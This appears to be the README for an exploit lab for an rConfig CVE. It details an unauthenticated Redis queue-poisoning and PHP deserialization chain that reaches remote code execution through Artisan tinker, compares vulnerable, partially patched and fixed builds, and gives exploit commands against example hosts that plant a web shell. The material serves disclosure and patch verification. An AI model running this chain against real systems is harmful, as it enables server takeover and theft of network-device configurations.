
Proof-of-concept and differential lab for CVE-2026-124079: unauthenticated RCE in rConfig via Redis-backed Laravel Horizon queue poisoning and PHP object deserialization.
Proof-of-concept for CVE-2026-124079 (CWE-502, Deserialization of Untrusted Data → unauthenticated RCE, CVSS 9.8) with a reproducible environment that puts the vulnerable, the partially patched and the fixed upstream builds side by side.
| Product | rConfig Core (and rConfig Pro) |
| Affected | rConfig Core ≥ 8.0.0, < 8.2.19 · rConfig Pro < 8.4.1 |
| Fixed in | rConfig Core 8.2.19 (40bd1204, 2026-10-27) · rConfig Pro 8.4.1 |
| Attack vector | Network, unauthenticated — the Redis instance that backs the Laravel Horizon queue is reachable without a password |
| Impact | Remote code execution as the queue worker user (www-data / root) |
| Credit | komi Sergio Hognaglo (manasse) |
| Class | CWE-502 Deserialization of Untrusted Data → CWE-78-style command injection in the job gadget |
References:
98ecb921)rConfig stores its network-device configuration archive in MariaDB and drives the
device downloads through a Laravel 12/13 application whose job queue lives in Redis,
consumed by Laravel Horizon (HorizonTwo supervisor: TaskDownloadQueue,
TaskSnippetQueue, ManualDownloadQueue).
The deployment shipped by upstream exposes that Redis without authentication and
reachable from the network — .env.example ships REDIS_PASSWORD=null together with
EXPOSED_REDIS_PORT=7000.
The chain:
Unauthenticated Redis. Anyone who can reach the queue Redis can LPUSH onto
the list queues:ManualDownloadQueue (Laravel's RedisQueue::getQueue() adds the
queues: prefix; rConfig's Redis connection sets no key prefix).
Unrestricted deserialization. The Horizon worker pops the envelope and
Illuminate\Queue\CallQueuedHandler@call calls unserialize($data['command']) with
no allowed_classes restriction, so the attacker chooses both the class and
every property of the instantiated object.
The gadget. App\Jobs\TaskDownloadRun (rConfig ≤ 8.2.17) is dispatched onto
ManualDownloadQueue and its handle() is:
Artisan::call($this->task['task_command'] . ' ' . $this->task['id']);
$task is attacker-controlled, so task_command is an arbitrary Artisan command
string. rConfig bundles laravel/tinker, so
tinker --execute=<php> yields arbitrary PHP and therefore OS command execution
in the Horizon worker process.
8.2.18 (98ecb921) added a constant allowlist to the same class:
private const ALLOWED_TASK_COMMANDS = [
'rconfig:download-task', 'rconfig:download-device',
'rconfig:download-tag', 'rconfig:download-category',
];
and rejects anything else (Log::warning('TaskDownloadRun rejected an unexpected task command.')). That blocks this gadget, but the deserialization primitive itself is
untouched — the job is still instantiated and unserialized by the worker. 8.2.19 is the
real fix: rconfig:redis-secure generates a Redis password, the entrypoint writes
requirepass into the Redis config, Redis is moved inside the application container
and bound to loopback, and health checks (RedisAuthCheck, WorkerPrivilegeCheck) were
added.
The environment ships three upstream rConfig builds plus the queue and database
services they need, so the vulnerable code path, the partially patched one and the
fixed one can be compared side by side. Podman, dedicated network cve124079lab,
every container bounded with --cpus 2 --memory 4g.
| Container | Image | Role |
|---|---|---|
rconfig-db | mariadb:11 | one instance, three schemas rconfig17 / rconfig18 / rconfig19 (lab/db-init/01-databases.sql) |
rconfig-redis17 | redis:7-alpine | queue Redis for the vulnerable variant, --protected-mode no, no password — the affected deployment posture |
rconfig-redis18 | redis:7-alpine | queue Redis for the 8.2.18 variant, same posture |
rconfig-vuln17 | built from tag core-8.2.17 | variant A — vulnerable |
rconfig-allow18 | built from tag core-8.2.18 | variant B — gadget blocked, primitive live |
rconfig-fixed19 | built from tag core-8.2.19 | variant C — hardened (Redis inside the container, requirepass, loopback) |
cve-2026-124079-poc:local | python:3.12-alpine | the PoC (Python stdlib only, no dependencies) |
The three application images are built from the upstream git tags
(lab/prepare-src.sh exports the trees, injects a per-variant .env and generates
the Containerfiles), so the code under test is the released upstream code.
podman build, podman run, podman network)bash run-lab.sh prepare # build the 3 app images + the PoC image (long, ~10-25 min)
bash run-lab.sh up # start the containers, migrate, wait for the Horizon supervisors
bash run-lab.sh poc # run the A/B/C differential PoC
bash run-lab.sh capture # refresh the artefacts in evidence/
bash run-lab.sh down # tear everything down
make prepare | up | poc | capture | down | all do the same thing.
run-lab.sh up waits for MariaDB, for the app key/migration step and for the Horizon
supervisors to register (rConfig* keys) before it reports ready.
poc/poc.py — Python 3 standard library only (own minimal RESP client, own PHP
serializer, own HTTP checks).
# classification only: is the queue Redis reachable without authentication?
poc.py check --redis <host:6379>
# full exploit: poison the queue and verify RCE end-to-end
poc.py exploit --redis <host:6379> --app http://<app-host>
# companion probe: show that the primitive also reaches job classes that 8.2.18
# did not patch (App\Jobs\DownloadConfigNowJob) — the worker writes the Redis key
# "download-now-<device_id>" with the attacker's value
poc.py probe --redis <host:6379> --device-id POC-PROBE-9999
| exit code | meaning |
|---|---|
check: 1 | VULNERABLE — unauthenticated Redis backs the Horizon queue |
check: 0 | not vulnerable (unreachable, or Redis demands authentication) |
exploit: 0 | EXPLOIT SUCCESS — RCE confirmed |
exploit: 3 | queue poisoned and the job was consumed, but the gadget was blocked |
exploit: 2 | target unreachable (Redis not network-reachable) |
exploit: 4 | the job stayed on the queue (no worker listening) |
probe: 0 | the poisoned (non-allowlisted) job was executed by the worker |
The PoC talks to the target directly — it needs nothing from the application except the queue Redis endpoint and, optionally, the application URL for the HTTP checks:
# 1. classify the host: is the queue Redis exposed without a password?
python3 poc/poc.py check --redis 10.0.0.5:6379
# -> RESULT: VULNERABLE — unauthenticated Redis backs the Laravel Horizon queue
# 2. run the chain and collect the evidence
python3 poc/poc.py exploit --redis 10.0.0.5:6379 --app http://10.0.0.5
# -> RESULT: EXPLOIT SUCCESS — CVE-2026-124079 unauthenticated RCE
# evidence: redis key cve:2026:124079:pwned + marker file + live web shell (ok)
# 3. (optional) prove the primitive also reaches the job classes 8.2.18 did not patch
python3 poc/poc.py probe --redis 10.0.0.5:6379 --device-id POC-PROBE-9999